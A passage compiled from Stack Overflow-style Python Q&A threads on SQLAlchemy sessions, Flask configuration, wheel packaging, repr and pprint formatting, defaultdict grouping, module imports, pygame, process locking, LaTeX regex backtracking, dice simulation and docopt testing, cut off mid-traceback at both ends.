2014-06-22 20:18:31,596 INFO [sqlalchemy.engine.base.Engine][MainThread] DESCRIBE `a3fhs32g_schools`
2014-06-22 20:18:31,597 INFO [sqlalchemy.engine.base.Engine][MainThread] ()
2014-06-22 20:18:31,598 DEBUG [sqlalchemy.engine.base.Engine][MainThread] Col ('Field', 'Type', 'Null', 'Key', 'Default', 'Extra')
2014-06-22 20:18:31,598 DEBUG [sqlalchemy.engine.base.Engine][MainThread] Row ('id', 'int(11)', 'NO', 'PRI', None, 'auto_increment')
2014-06-22 20:18:31,598 INFO [sqlalchemy.engine.base.Engine][MainThread] DESCRIBE `a3fhs32g_students`
2014-06-22 20:18:31,598 INFO [sqlalchemy.engine.base.Engine][MainThread] ()
2014-06-22 20:18:31,599 DEBUG [sqlalchemy.engine.base.Engine][MainThread] Col ('Field', 'Type', 'Null', 'Key', 'Default', 'Extra')
2014-06-22 20:18:31,599 DEBUG [sqlalchemy.engine.base.Engine][MainThread] Row ('id', 'int(11)', 'NO', 'PRI', None, 'auto_increment')
Traceback (most recent call last):
File "../bin/initialize_myapp_db", line 9, in <module>
load_entry_point('myapp==0.0', 'console_scripts', 'initialize_myapp_db')()
File "/var/www/html/myapp/app/myapp/myapp/myapp/scripts/initializedb.py", line 44, in main
DBSession.add(model)
File "/var/www/html/myapp/app/myapp/local/lib/python2.7/site-packages/SQLAlchemy-0.9.4-py2.7-linux-i686.egg/sqlalchemy/orm/scoping.py", line 149, in do
return getattr(self.registry(), name)(*args, **kwargs)
File "/var/www/html/myapp/app/myapp/local/lib/python2.7/site-packages/SQLAlchemy-0.9.4-py2.7-linux-i686.egg/sqlalchemy/orm/session.py", line 1478, in add
self._save_or_update_state(state)
File "/var/www/html/myapp/app/myapp/local/lib/python2.7/site-packages/SQLAlchemy-0.9.4-py2.7-linux-i686.egg/sqlalchemy/orm/session.py", line 1490, in _save_or_update_state
self._save_or_update_impl(state)
File "/var/www/html/myapp/app/myapp/local/lib/python2.7/site-packages/SQLAlchemy-0.9.4-py2.7-linux-i686.egg/sqlalchemy/orm/session.py", line 1744, in _save_or_update_impl
self._save_impl(state)
File "/var/www/html/myapp/app/myapp/local/lib/python2.7/site-packages/SQLAlchemy-0.9.4-py2.7-linux-i686.egg/sqlalchemy/orm/session.py", line 1716, in _save_impl
self._attach(state)
File "/var/www/html/myapp/app/myapp/local/lib/python2.7/site-packages/SQLAlchemy-0.9.4-py2.7-linux-i686.egg/sqlalchemy/orm/session.py", line 1844, in _attach
self.dispatch.after_attach(self, state.obj())
File "/var/www/html/myapp/app/myapp/local/lib/python2.7/site-packages/SQLAlchemy-0.9.4-py2.7-linux-i686.egg/sqlalchemy/event/attr.py", line 257, in __call__
fn(*args, **kw)
TypeError: unbound method after_attach() must be called with ZopeTransactionExtension instance as first argument (got Session instance instead)
Answer: `DBSession` in your case is a
[scoped_session](http://docs.sqlalchemy.org/en/rel_0_9/orm/session.html#sqlalchemy.orm.scoping.scoped_session)
object. To get the actual session, you must call it (Which triggers the call
to underlying session factory).
def main(argv=sys.argv):
...
DBSession.configure(bind=engine)
Base.metadata.create_all(engine)
session = DBSession()
....
session.add(model)
|
Receiving "No Such Table" error while trying to access existing MySQL database using Flask and SQLAlchemy
Question: **myapp.py**
#!flask/bin/python
from flask import Flask, request, jsonify
from flask.ext.sqlalchemy import SQLAlchemy
app = Flask(__name__)
db = SQLAlchemy(app)
app.config['SQLAlchemy_DATABASE_URI'] = 'mysql://root:root@localhost/linkmanager'
class Link(db.Model):
__tablename__ = 'link'
id = db.Column(db.Integer, primary_key = True)
title = db.Column(db.Text)
url = db.Column(db.Text)
type = db.Column(db.Integer)
insert_date = db.Column(db.DateTime)
@app.route('/links', methods=['GET'])
def links():
if request.method == 'GET':
results = Link.query.limit(10).offset(0).all()
json_results = []
for result in results:
d = {
'id': results.id,
'title': results.title,
'url': results.url,
'type': results.type,
'insert_date': results.insert_date
}
json_results.append(d)
return jsonify(items=json_results)
if __name__ == '__main__':
app.run(debug=True)
Error message when I try to access localhost:5000/links:
**sqlalchemy.exc.OperationalError OperationalError: (OperationalError) no such
table: link u'SELECT link.id AS link_id, link.title AS link_title, link.url AS
link_url, link.type AS link_type, link.insert_date AS link_insert_date \nFROM
link\n LIMIT ? OFFSET ?' (10, 0)**
I know that the table does exist because I set it up with phpAdmin and have
accessed it from the command line. I also tried connecting to it with Java and
was successful... I have no idea why this is not working! Thanks for the help.
Answer: Your setting name is wrong. Change
app.config['SQLAlchemy_DATABASE_URI'] = 'mysql://root:root@localhost/linkmanager'
to
app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://root:root@localhost/linkmanager'
|
How do you add additional files to a wheel?
Question: How do control what files are included in a wheel? It appears `MANIFEST.in`
isn't used by `python setup.py bdist_wheel`.
**UPDATE** :
I was wrong about the difference between installing from a source tarball vs a
wheel. The source distribution includes files specified in `MANIFEST.in`, but
the installed package only has python files. Steps are needed to identify
additional files that should be installed, whether the install is via source
distribution, egg, or wheel. Namely,
[package_data](https://docs.python.org/2/distutils/setupscript.html#installing-
package-data) is needed for additional package files, and
[data_files](https://docs.python.org/2/distutils/setupscript.html#installing-
additional-files) for files outside your package like command line scripts or
system config files.
## Original Question
I have [a project](https://github.com/tulsawebdevs/django-multi-gtfs) where
I've been using `python setup.py sdist` to build my package, `MANIFEST.in` to
control the files included and excluded, and
[pyroma](https://pypi.python.org/pypi/pyroma) and [check-
manifest](https://pypi.python.org/pypi/check-manifest) to confirm my settings.
I recently converted it to dual Python 2 / 3 code, and added a setup.cfg with
[bdist_wheel]
universal = 1
I can build a wheel with `python setup.py bdist_wheel`, and it appears to be a
universal wheel as desired. However, it doesn't include all of the files
specified in `MANIFEST.in`.
## What gets installed?
I dug deeper, and now know more about packaging and wheel. Here's what I
learned:
I upload two package files to the [multigtfs project on
PyPi](https://pypi.python.org/pypi/multigtfs/0.4.2):
* `multigtfs-0.4.2.tar.gz` \- the source tar ball, which includes all the files in `MANIFEST.in`.
* `multigtfs-0.4.2-py2.py3-none-any.whl` \- The binary distribution in question.
I created two new virtual environments, both with Python 2.7.5, and installed
each package (`pip install multigtfs-0.4.2.tar.gz`). The two environments are
almost identical. They have different `.pyc` files, which are the "compiled"
Python files. There are log files which record the different paths on disk.
The install from the source tar ball includes a folder
`multigtfs-0.4.2-py27.egg-info`, detailing the installation, and the wheel
install has a `multigtfs-0.4.2.dist-info` folder, with the details of that
process. However, from the point of view of code using the multigtfs project,
there is no difference between the two installation methods.
Explicitly, neither has the .zip files used by my test, so the test suite will
fail:
$ django-admin startproject demo
$ cd demo
$ pip install psycopg2 # DB driver for PostGIS project
$ createdb demo # Create PostgreSQL database
$ psql -d demo -c "CREATE EXTENSION postgis" # Make it a PostGIS database
$ vi demo/settings.py # Add multigtfs to INSTALLED_APPS,
# Update DATABASE to set ENGINE to django.contrib.gis.db.backends.postgis
# Update DATABASE to set NAME to test
$ ./manage.py test multigtfs.tests # Run the tests
...
IOError: [Errno 2] No such file or directory: u'/Users/john/.virtualenvs/test/lib/python2.7/site-packages/multigtfs/tests/fixtures/test3.zip'
## Specifying additional files
Using the suggestions from the answers, I added some additional directives to
`setup.py`:
from __future__ import unicode_literals
# setup.py now requires some funky binary strings
...
setup(
name='multigtfs',
packages=find_packages(),
package_data={b'multigtfs': ['test/fixtures/*.zip']},
include_package_data=True,
...
)
This installs the zip files (as well as the README) to the folder, and tests
now run correctly. Thanks for the suggestions!
Answer: Have you tried using `package_data` in your `setup.py`? `MANIFEST.in` seems
targetted for python versions <= 2.6, I'm not sure if higher versions even
look at it.
After exploring <https://github.com/pypa/sampleproject>, their `MANIFEST.in`
says:
# If using Python 2.6 or less, then have to include package data, even though
# it's already declared in setup.py
include sample/*.dat
which seems to imply this method is outdated. Meanwhile, in `setup.py` they
declare:
setup(
name='sample',
...
# If there are data files included in your packages that need to be
# installed, specify them here. If using Python 2.6 or less, then these
# have to be included in MANIFEST.in as well.
package_data={
'sample': ['package_data.dat'],
},
...
)
(I'm not sure why they chose a wildcard in `MANIFEST.in` and a filename in
`setup.py`. They refer to the same file)
Which, along with being simpler, again seems to imply that the `package_data`
route is superior to the `MANIFEST.in` method. Well, unless you have to
support 2.6 that is, in which case my prayers go out to you.
|
Can someone explain how to use the repr function to format the output?
Question: I would like the following code:
Tier0 = ['Tier', 'Weights', 'Price', 'Number of Businesses', 'Revenue']
Tier1 = ['Tier 1', 180,]
Tier2 = ['Tier 2', 300,]
Tier3 = ['Tier 3', 450,]
Tier4 = ['Tier 4', 600,]
Tier5 = ['Tier 5', 750,]
data = []
data.append(Tier0)
data.append(Tier1)
data.append(Tier2)
data.append(Tier3)
data.append(Tier4)
data.append(Tier5)
data
for Tier1 in data[1:]:
Tier1.insert(1, float(input('Enter the weighted value of Tiers 1-5 as a decimal: ')))
Tier1.insert(3, Tier1[1] * MissouriBusiness)#calculates the number of businesses
Tier1.insert(4, Tier1[2] * Tier1[1] * MissouriBusiness)#calculates the revenue
Output to change from:
[['Tier', 'Weights', 'Price', 'Number of Businesses', 'Revenue'], ['Tier 1', 0.2, 180, 40000.0, 7200000.0], ['Tier 2', 0.1, 300, 20000.0, 6000000.0], ['Tier 3', 0.3, 450, 60000.0, 27000000.0], ['Tier 4', 0.15, 600, 30000.0, 18000000.0], ['Tier 5', 0.2, 750, 40000.0, 30000000.0]]
To something nicer, like:
[['Tier', 'Weights', 'Price', 'Number of Businesses', 'Revenue'],
['Tier 1', 0.2, 180, 14000.0, 2520000.0],
['Tier2', 0.2, 300, 14000.0, 4200000.0],
['Tier3', 0.2, 450, 14000.0, 6300000.0],
['Tier4', 0.3, 600, 21000.0, 12600000.0],
['Tier5', 0.1, 750, 7000.0, 5250000.0]]
Python documentation has a good example of this, I just cannot seem to grasp
how it works.
>>> for x in range(1, 11):
... print repr(x).rjust(2), repr(x*x).rjust(3),
... # Note trailing comma on previous line
... print repr(x*x*x).rjust(4)
...
1 1 1
2 4 8
3 9 27
4 16 64
5 25 125
This code came from Python's documentation:
<https://docs.python.org/2/tutorial/inputoutput.html>
A dumbed-down _explanation_ of how this repr function works and how I could
incorporate it would be greatly appreciated because I'm just seeing gibberish
whenever viewing the documentation or other similar questions.
TIA
Answer: The [`repr`](https://docs.python.org/2/library/functions.html#repr) function
is inteded to return "printable object representations", possibly for use with
the [`eval`](https://docs.python.org/2/library/functions.html#eval) function
to construct the object back from it's string representation. But `repr`
doesn't do any formatting itself, it just calls the
[`__repr__`](https://docs.python.org/2/reference/datamodel.html#object.__repr__)
method on the object, which may be some default Python implementation or your
implementation on your objects.
In your case, when you call `repr` on a list, it just returns quoted list
output, as that's how `repr` is implemented for the list object:
>>> data = [['Tier', 'Weights', 'Price', 'Number of Businesses', 'Revenue'], ['Tier 1', 0.2, 180, 40000.0, 7200000.0], ['Tier 2', 0.1, 300, 20000.0, 6000000.0], ['Tier 3', 0.3, 450, 60000.0, 27000000.0], ['Tier 4', 0.15, 600, 30000.0, 18000000.0], ['Tier 5', 0.2, 750, 40000.0, 30000000.0]]
>>> repr(data)
"[['Tier', 'Weights', 'Price', 'Number of Businesses', 'Revenue'], ['Tier 1', 0.2, 180, 40000.0, 7200000.0], ['Tier 2', 0.1, 300, 20000.0, 6000000.0], ['Tier 3', 0.3, 450, 60000.0, 27000000.0], ['Tier 4', 0.15, 600, 30000.0, 18000000.0], ['Tier 5', 0.2, 750, 40000.0, 30000000.0]]"
The `repr` example you provide is actually nothing more than just a manual
formatting. `repr` in this case is only used to get a string representation of
the integer `x` to be able to call
[`string.rjust`](https://docs.python.org/2/library/string.html#string.rjust)
formatting function on it:
>>> repr(1)
'1'
>>> repr(1).rjust(3)
' 1'
As for your case, you could use the
[`pprint`](https://docs.python.org/2/library/pprint.html) module intended for
Python data structures pretty-printing. The
[`pprint.pprint`](https://docs.python.org/2/library/pprint.html#pprint.pprint)
function actually behaves almost exactly as you want:
>>> data = [['Tier', 'Weights', 'Price', 'Number of Businesses', 'Revenue'], ['Tier 1', 0.2, 180, 40000.0, 7200000.0], ['Tier 2', 0.1, 300, 20000.0, 6000000.0], ['Tier 3', 0.3, 450, 60000.0, 27000000.0], ['Tier 4', 0.15, 600, 30000.0, 18000000.0], ['Tier 5', 0.2, 750, 40000.0, 30000000.0]]
>>> import pprint
>>> pprint.pprint(data)
[['Tier', 'Weights', 'Price', 'Number of Businesses', 'Revenue'],
['Tier 1', 0.2, 180, 40000.0, 7200000.0],
['Tier 2', 0.1, 300, 20000.0, 6000000.0],
['Tier 3', 0.3, 450, 60000.0, 27000000.0],
['Tier 4', 0.15, 600, 30000.0, 18000000.0],
['Tier 5', 0.2, 750, 40000.0, 30000000.0]]
But if you need something very specific, you may need to roll your own
printing.
|
Python: How to group unsorted list of dictionary into new list
Question: I have a list like this:
table=[{'device': 'a', 'iface': 'i1'}, {'device': 'a', 'iface': 'i2'}, {'device': 'a', 'iface': 'i4'}, {'device': 'b', 'iface': 'i5'}, {'device': 'a', 'iface': 'i3'}, {'device': 'b', 'iface': 'i7'}]
I want to group that list into a new list like this:
newtable=[{'device':'a','iface':['i1','i2','i4','i3']},{'device':'b','iface':['i5','i7']}]
I have tried to use defaultdict from collections module but the result is not
what I expected. Please help me. Thanks in advance
> here what i have done:
from collections import defaultdict
table=[{'device': 'a', 'iface': 'i1'}, {'device': 'a', 'iface': 'i2'}, {'device': 'a', 'iface': 'i4'}, {'device': 'b', 'iface': 'i5'}, {'device': 'a', 'iface': 'i3'}, {'device': 'b', 'iface': 'i7'}]
newtable=defaultdict(list)
for row in table:
newtable[row['device']].append(row['iface'])
newtable=list(newtable)
and I lost from here. So sorry for my English.
Answer: Here is one way to do it - Just using `defaultdict` might not be enough. You
might have to process it a little further (just make sure you use better
variable names :) ):
>>> from collections import defaultdict
>>> xx = defaultdict(list)
>>> table=[{'device': 'a', 'iface': 'i1'}, {'device': 'a', 'iface': 'i2'}, {'device': 'a', 'iface': 'i4'}, {'device': 'b', 'iface': 'i5'}, {'device': 'a', 'iface': 'i3'}, {'device': 'b', 'iface': 'i7'}]
>>> for tab in table:
... xx[tab['device']].append(tab['iface'])
...
>>> xx
defaultdict(<type 'list'>, {'a': ['i1', 'i2', 'i4', 'i3'], 'b': ['i5', 'i7']})
>>> yy = dict(xx)
>>> yy
{'a': ['i1', 'i2', 'i4', 'i3'], 'b': ['i5', 'i7']}
>>> new_table = []
>>> for a in yy:
... new_table.append({'device': a, 'iface': yy[a]})
...
>>> new_table
[{'device': 'a', 'iface': ['i1', 'i2', 'i4', 'i3']}, {'device': 'b', 'iface': ['i5', 'i7']}]
|
Trouble importing a module in Python
Question: I am trying to create a dungeon developing program, and I have a number of
modules I am using. I have a main module, a floor module, a room module, and a
tile module. Floors are girds of rooms which are grids of tiles. In my floor
module, I import Room so that I can store a two dimensional list of Rooms, but
I keep getting the error:
Traceback (most recent call last):
File "C:\Users\Rishabh\workspace\Bonding\Bonding\src\MainWork.py", line 15, in <module>
floor = Floor.Floor()
File "C:\Users\Rishabh\workspace\Bonding\Bonding\src\Floor.py", line 6, in __init__
rooms = [[Room.RoomClass(i, j) for i in range(7)] for j in range(7)]
File "C:\Users\Rishabh\workspace\Bonding\Bonding\src\Floor.py", line 6, in <listcomp>
rooms = [[Room.RoomClass(i, j) for i in range(7)] for j in range(7)]
File "C:\Users\Rishabh\workspace\Bonding\Bonding\src\Floor.py", line 6, in <listcomp>
rooms = [[Room.RoomClass(i, j) for i in range(7)] for j in range(7)]
NameError: global name 'Room' is not defined
My code is as follows.
**Mainwork.py**
import Enemy
import Player
import Ribbon
import random
import Floor
import Room
import pygame as pyg
pyg.init()
screenWidth = 1280
screenHeight = 720
Player.health = 100
FPS = 60
floor = Floor.Floor()
floor.printgrid()
def mainLoop():
pass
**Floor.py**
class Floor(object):
import Room
def __init__(self):
rooms = [[Room.Room(i, j) for i in range(7)] for j in range(7)]
current = [0, 0]
roomStack = []
totalRooms = 49
visitedRooms = 1
**Room.py**
class Room(object):
import Tile
def __init__(self, floorx, floory, layout=[[0 for i in range(13)] for j in range(7)]):
self.floorx = floorx
self.floory = floory
self.doors = [False, False, False, False] # N,S,E,W
for i in layout:
for j in i:
self.layout[i][j] = Tile.Tile(layout[i][j])
**Tile.py**
class Tile(object):
def __init__(self, state):
self.state = state
I have no idea what the problem could be at all. Thanks in advance
Answer: In `Floor.py` the `import Room` is a `class` attribute so, you have to use
class object to access it. Try using....
import Room
class Floor(object):
def __init__(self):
# other code goes here ....
|
Trying to get a random line from a file, getting TypeError
Question: I am working on a python project that needs to read a random line from a text
file so I tried to insert a variable that is a random number into the
lines[].strip() function in python and got the error: `TypeError: 'int' object
has no attribute '__getitem__'` here is the code:
rand = random.randrange(0, 10)
file = open("file.txt", "r")
line1 = lines[rand].strip()
Answer: It looks like you are not reading the file properly and that your `lines`
variable is an integer. Showing us more of your code would help. Getting a
specific line from a file can be done in multiple ways. Here's a few demos:
Either read lines until you are at the line you want:
with open('file.txt') as f:
for num, line in enumerate(f):
if num == some_number:
print(line)
break
Or read the whole file, split the lines and access your line by a specific
index. This method is not advised if your files are large and you just need
one line.
with open('file.txt') as f:
data = f.readlines()
print(data[some_number])
Finally, you can use
[linecache](https://docs.python.org/2/library/linecache.html):
import linecache
line = linecache.getline('file.txt', some_number)
print(line)
|
how to compute a function in a list?
Question: I'm reading "A Primer on Scientific Programming with Python" book and I'm
stuck on exercise 2.26. It is said to write a function maxmin(f, a, b, n=1000)
that returns the maximum and minimum values of a mathematical function f(x)
(evaluated at n points) in the interval between a and b.
The maxmin function can compute a set of n coordinates between a and b stored
in a list x, then compute f at the points in x and store the values in another
list y. The Python functions max(y) and min(y) return the maximum and minimum
values in the list y, respectively.
As a test, it is said that
from math import cos, pi
print maxmin(cos, -pi/2, 2*pi)
should write out(1.0, -1.0)
This is what I tried, but it doesn't return anything!
from math import cos, pi
def maxmin(f, a, b, n=1000):
x = [f(i) for i in range(a, b, n)]
#print x
maximum = max(x)
minimum = min(x)
return maximum, minimum
print maxmin(cos, -pi/2, 2*pi)
Answer: Your code is using `range()` incorrectly. The function does not support
floating-point arguments and the last argument isn't what you think it is.
If I remember rightly, the book you are following is based around NumPy. If
that's the case, you can simply replace `range()` with
[`numpy.linspace()`](http://docs.scipy.org/doc/numpy/reference/generated/numpy.linspace.html).
|
Python 3.3 + pygame installation
Question: First, I am aware about the existance of a similar older thread, but honestly,
I would not ask, if I found any help there.
Being a simple coding enthusiast, I want to playback media in using python.
Since there seems to be no simple solution, a lot of people recommend pygame
(or pyglet). So, using win 7 x64, I revert to 32bit Python 3.3.5 and download
the presumably correct version of pygame from the super secret download site
(pygame-1.9.2a0.win32-py3.3). Both installations work seemingly fine, pygame
can locate python (path is set correctly), and finishes its install without
issues, yet it seems not to install anything. I cannot import pygame, there
are no installed libraries to be found. In pure frustration I tried different
iterations of versions, python 2.7, x64, older pygame versions. Nothing
worked. I suspect, there is something going on, that may not be connected to
the pygame installation, but I don't know what.
import pygame
returns
Traceback (most recent call last):
File "C:/***/pygame_test.py", line 1, in <module>
import pygame
ImportError: No module named 'pygame'
Answer: Try using Python 3.2.3 instead of 3.3, along with Pygame for that version:
that's what I did, and it works flawlessly on the same system as yours.
|
How to stop multiple processes from creating multiple instances of another process?
Question: I have 2 processes: Start and Status. There can be multiple Start processes
executed on the same time and there should only be 1 instance of Status
process.
On startup of the Start process, it will attempt to start Status. At the
moment, I try to stop multiple Statuses from starting by getting the Status
process to check if Status's server port has been binded to determine if there
is another Status that exists and if so it will shutdown gracefully.
However this has a race condition where the time it checks for the binded
port, there might be another Status that had done that check and is in the
process of binding that port, hence 2 Statuses will be created.
Is there a process level solution to this? I have considered having another
process monitoring the number of Statuses in the System but is there another
approach?
Edit: This is done in Python 2.6
Edit2: Both Start and Status are excuted from the shell.
Answer: First, you can use something like [supervisord](http://supervisord.org/) to
coordinate running of processes. It's actually quite good. You basically
configure your processes, the max number that can run, etc and it will handle
the rest. You need to figure out all the little configuration items, though.
You might also want to break out that status process to be its own if you have
it running as a thread in another process. You'll have better success that
way.
You can make this less of an issue probably if you changed how you handled
this. Instead of a check then execute, just execute and handle the error.
try:
open_port_listener()
except socket.error as e:
do_nothing()
Or maybe put in a little more granular check on the type of socket error. I am
assuming you are using `socket` and are getting a socket.error (probably
Address already in use or something?).
If you were running this using the `multiprocessing` module (which I know you
aren't since you clarified, but I'll leave this in just in case it is useful
for anyone else), you could use a lock to ensure the status process check
occurs on one process or another. The `multiprocessing` module supports this.
Read the docs
[here](https://docs.python.org/2/library/multiprocessing.html#synchronization-
between-processes).
from multiprocessing import Process, Lock
def startStatusProcess(l):
l.acquire()
if not do_check():
Process(target=runStatusProcess, args=()).start()
l.release()
if __name__ == '__main__':
lock = Lock()
startStatusProcess(lock)
|
Getting AttributeError: type object 'Pipe1' has no attribute 'height'
Question: Hi I keep getting the error AttributeError: type object 'Pipe1' has no
attribute 'height' I was trying to create flappy bird with pygame/python. Just
a note, this isn't completed yet, just wanted to see if I had any major
errors. This is python 2.7.7 if that helps.
import pygame, random, sys
pygame.init()
screen = pygame.display.set_mode([284, 512])
pipex = 335
class Bird(pygame.sprite.Sprite):
def __init__(self, image, x, y):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.image.load(image)
self.rect = self.image.get_rect()
self.pos = [x, y]
def move():
self.pos[0] += 3
self.pos[1] += 3
self.rect.center = self.pos
class Pipe1(pygame.sprite.Sprite):
def __init__(self, image, height):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.image.load(image)
self.rect = self.image.get_rect()
self.height = height
self.pos = [pipex, height]
oppositepipe = Pipe2('flappybirdpipe2.png')
def scroll():
global pipex
self.pos[0] -= 3
self.rect.center = self.pos
class Pipe2(pygame.sprite.Sprite):
def __init__(self, image):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.image.load(image)
self.rect = self.image.get_rect()
self.height = 397 - Pipe1.height
self.pos = [pipex, self.height]
def scroll():
global pipex
self.pos[0] -= 3
self.rect.center = self.pos
def draw_pipes():
newpipe = Pipe1('flappybirdpipe.png', random.randint(115, screen.get_height()))
while True:
draw_pipes()
for event in pygame.event.get():
if event.type == pygame.QUIT():
pygame.quit()
sys.exit()
This is the error message:
Traceback (most recent call last):
File "C:/Users/User/Downloads/Python Code/flappybird/flappybird.py", line 51, in <module>
draw_pipes()
File "C:/Users/User/Downloads/Python Code/flappybird/flappybird.py", line 48, in draw_pipes
newpipe = Pipe1('flappybirdpipe.png', random.randint(115, screen.get_height()))
File "C:/Users/User/Downloads/Python Code/flappybird/flappybird.py", line 27, in __init__
oppositepipe = Pipe2('flappybirdpipe2.png')
File "C:/Users/User/Downloads/Python Code/flappybird/flappybird.py", line 39, in __init__
self.height = 397 - Pipe1.height
AttributeError: type object 'Pipe1' has no attribute 'height'
Answer: I don't think you're getting much benefit from having two different pipe
classes. The only thing that really differs between them is the image, and
each pipe basically has the same behaviour, so it makes sense to represent
both of them with a single class. I think you should try:
* Just having a single `Pipe` class
* Keeping the code that generates heights for the pipes separate from the `Pipe` class, as this is where your original problem arose.
Basically, you should be able to replace your `Pipe1`, `Pipe2` and
`draw_pipes()` code with:
class Pipe(pygame.sprite.Sprite):
def __init__(self, image, height):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.image.load(image)
self.rect = self.image.get_rect()
self.height = height
self.pos = [pipex, height]
def scroll():
# You don't actually do anything with pipex in this
# method, so not sure why you were referring to it?
self.pos[0] -= 3
self.rect.center = self.pos
def draw_pipes():
pipe1_height = random.randint(115, screen.get_height())
pipe1 = Pipe('flappybirdpipe.png', pipe1_height)
pipe2_height = 397 - pipe1_height
pipe2 = Pipe('flappybirdpipe2.png', pipe2_height)
|
How can I search and replace a term with brackets in Python without catastrophic backtracking?
Question: I am currently trying to find terms like these (LaTeX definitions)
\def\fB{\mathfrak{B}}
and then remove the complete term `\def\fB{\mathfrak{B}}` as well as replacing
`\fB` by `\mathfrak{B}`.
I came up with the following RegEx to do so:
curly = "(?:\{(?:.*)?\})" # make sure that number of brackets is correct
target = "([^\{]*?"+curly+"*)"
search = r"(\\[A-Za-z][A-Za-z0-9]*)"
defcommand = re.compile(r"\\def" + search + "\{" + target + "+\}")
But when I run this there seems to happen [catastrophic
backtracking](http://www.regular-expressions.info/catastrophic.html) as the
following minimal (not) working example shows:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re
text = r"""
\newcommand*{\xindex}[1]{%
\stepcounter{indexanchor}% make anchor unique
\def\theindexterm{#1}%
\edef\doindexentry{\noexpand\index
{\expandonce\theindexterm|indexanchor{index-\theindexanchor}}}%
\raisebox{\baselineskip}{\hypertarget{index-\theindexanchor}%
{\doindexentry}}%
}
\def\fB{\mathfrak{B}}%Für Basis
\def\calS{\mathcal{S}}%Für Subbasis
\def\fT{\mathfrak{T}}%Für Topologie
\def\fU{\mathfrak{U}}%Für Topologie
\newlist{aufgabeenum}{enumerate}{1}
\setlist[aufgabeenum]{label=(\alph*),ref=\textup{\theaufgabe~(\alph*)}}
\crefalias{aufgabeenumi}{aufgabe}
% Commands for local abbreviations
"""
def print_matched_groups(m):
print("number of groups: %i" % defcommand.groups)
for i in range(defcommand.groups):
print("group %i: %s" % (i, m.group(i)))
print("done with print_matched_groups")
curly = "(?:\{(?:.*)?\})"
target = "([^\{]*?"+curly+"*)"
search = r"(\\[A-Za-z][A-Za-z0-9]*)"
defcommand = re.compile(r"\\def"+search+"\{"+target+"+\}")
for m in defcommand.finditer(text):
print_matched_groups(m)
print("finished")
How can I
Answer: I've just found a practical solution. As I know that the nesting will not be
very deep, I can use this information to make the regex faster:
curly = "(?:\{(?:.*)?\})" # make sure that number of brackets is correct
target = "([^\{]*?"+curly+"{0, 3})" # here is the change
search = r"(\\[A-Za-z][A-Za-z0-9]*)"
defcommand = re.compile(r"\\def" + search + "\{" + target + "+\}")
|
Python Random number frequency dictionary
Question: I am trying to make a function generates two random integers in rage 1 to 6.
And have a frequency dictionary of the sum of two integer values.
It is for simulating two dice rolling x number of times.
Here is my code and my code:
def sim():
dictionary = {}
loop_value = 0
total = 0
while loop_value < 10:
num_1 = random.randint(1, 6)
num_2 = random.randint(1, 6)
total = total + num_1 + num_2
if value in dictionary:
dictionary[total] += 1
else:
dictionary[total] = 1
loop_value += 1
print("Loop value", str(loop_value))
print(dictionary)
This code just adds all the values up. So no every value is unique. How do I
fix this problem?
Answer: While Martins answer probably fixes your problem, you could use
[`collections.Counter`](https://docs.python.org/3.4/library/collections.html#counter-
objects) for a bit more flexible approach to counting.
Here's a quick example:
>>> from collections import Counter
>>> Counter(random.randint(1, 6) + random.randint(1, 6) for x in range(10))
Counter({3: 3, 6: 3, 5: 2, 10: 1, 7: 1})
Counters are dictionaries, so you can manipulate them in the same way.
|
Testing A Docopt command-line app In Unittest?
Question: can anyone show me how can I test a cli app written in Docopt (Python)?
Someone on GitHub posted this,
import unittest
from docopt import docopt
import your.entry.point.of.sum as sum
# you can import the doc string from the sum module
doc = sum.__doc__
# suppose now the doc is:
# Sum two numbers.
# Usage: summation.py <x> <y>
# then write your test cases
class TestCLIParser(unittest.TestCase):
def test_sum(self):
args = docopt(doc, ["1", "3"])
self.assertEqual(args["<x>"], "1")
self.assertEqual(args["<y>"], "3")
def and_so_on(self):
...
I have got this but can someone show me how can I test the output of the
program? This example only tests the arguments
Answer:
class TestCLI(unittest.TestCase):
def test_sum(self):
cmd = shlex.split("sum 1 3")
output = subprocess.check_output(cmd)
self.assertEqual(output, "4")
Although you can use the `unittest` module to drive this kind of testing, it's
not strictly unit testing. A simple sum program has simple output, which is
easy to capture in code like this. But, as your program evolves to something
more complex, it becomes more difficult to maintain the expectations in source
code. For this kind of testing, I'd recommend
[ApprovalTests](https://github.com/approvals/ApprovalTests.Python).
|
freeze_support bug in using scikit-learn in the Anaconda python distro?
Question: I just want to be sure this is not about my code but it needs to be fixed in
the relevant Python package. (By the way, does this look like something I can
manually patch even before the vendor ships an update?) I was using scikit-
learn-0.15b1 which called these. Thanks!
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "C:\Anaconda\lib\multiprocessing\forking.py", line 380, in main
prepare(preparation_data)
File "C:\Anaconda\lib\multiprocessing\forking.py", line 495, in prepare
'__parents_main__', file, path_name, etc
File "H:\Documents\GitHub\health_wealth\code\controls\lasso\scikit_notreat_predictors.py", line 36, in <module>
gs.fit(X_train, y_train)
File "C:\Anaconda\lib\site-packages\sklearn\grid_search.py", line 597, in fit
return self._fit(X, y, ParameterGrid(self.param_grid))
File "C:\Anaconda\lib\site-packages\sklearn\grid_search.py", line 379, in _fit
for parameters in parameter_iterable
File "C:\Anaconda\lib\site-packages\sklearn\externals\joblib\parallel.py", line 604, in __call__
self._pool = MemmapingPool(n_jobs, **poolargs)
File "C:\Anaconda\lib\site-packages\sklearn\externals\joblib\pool.py", line 559, in __init__
super(MemmapingPool, self).__init__(**poolargs)
File "C:\Anaconda\lib\site-packages\sklearn\externals\joblib\pool.py", line 400, in __init__
super(PicklingPool, self).__init__(**poolargs)
File "C:\Anaconda\lib\multiprocessing\pool.py", line 159, in __init__
self._repopulate_pool()
File "C:\Anaconda\lib\multiprocessing\pool.py", line 223, in _repopulate_pool
w.start()
File "C:\Anaconda\lib\multiprocessing\process.py", line 130, in start
self._popen = Popen(self)
File "C:\Anaconda\lib\multiprocessing\forking.py", line 258, in __init__
cmd = get_command_line() + [rhandle]
File "C:\Anaconda\lib\multiprocessing\forking.py", line 358, in get_command_line
is not going to be frozen to produce a Windows executable.''')
RuntimeError:
Attempt to start a new process before the current process
has finished its bootstrapping phase.
This probably means that you are on Windows and you have
forgotten to use the proper idiom in the main module:
if __name__ == '__main__':
freeze_support()
...
The "freeze_support()" line can be omitted if the program
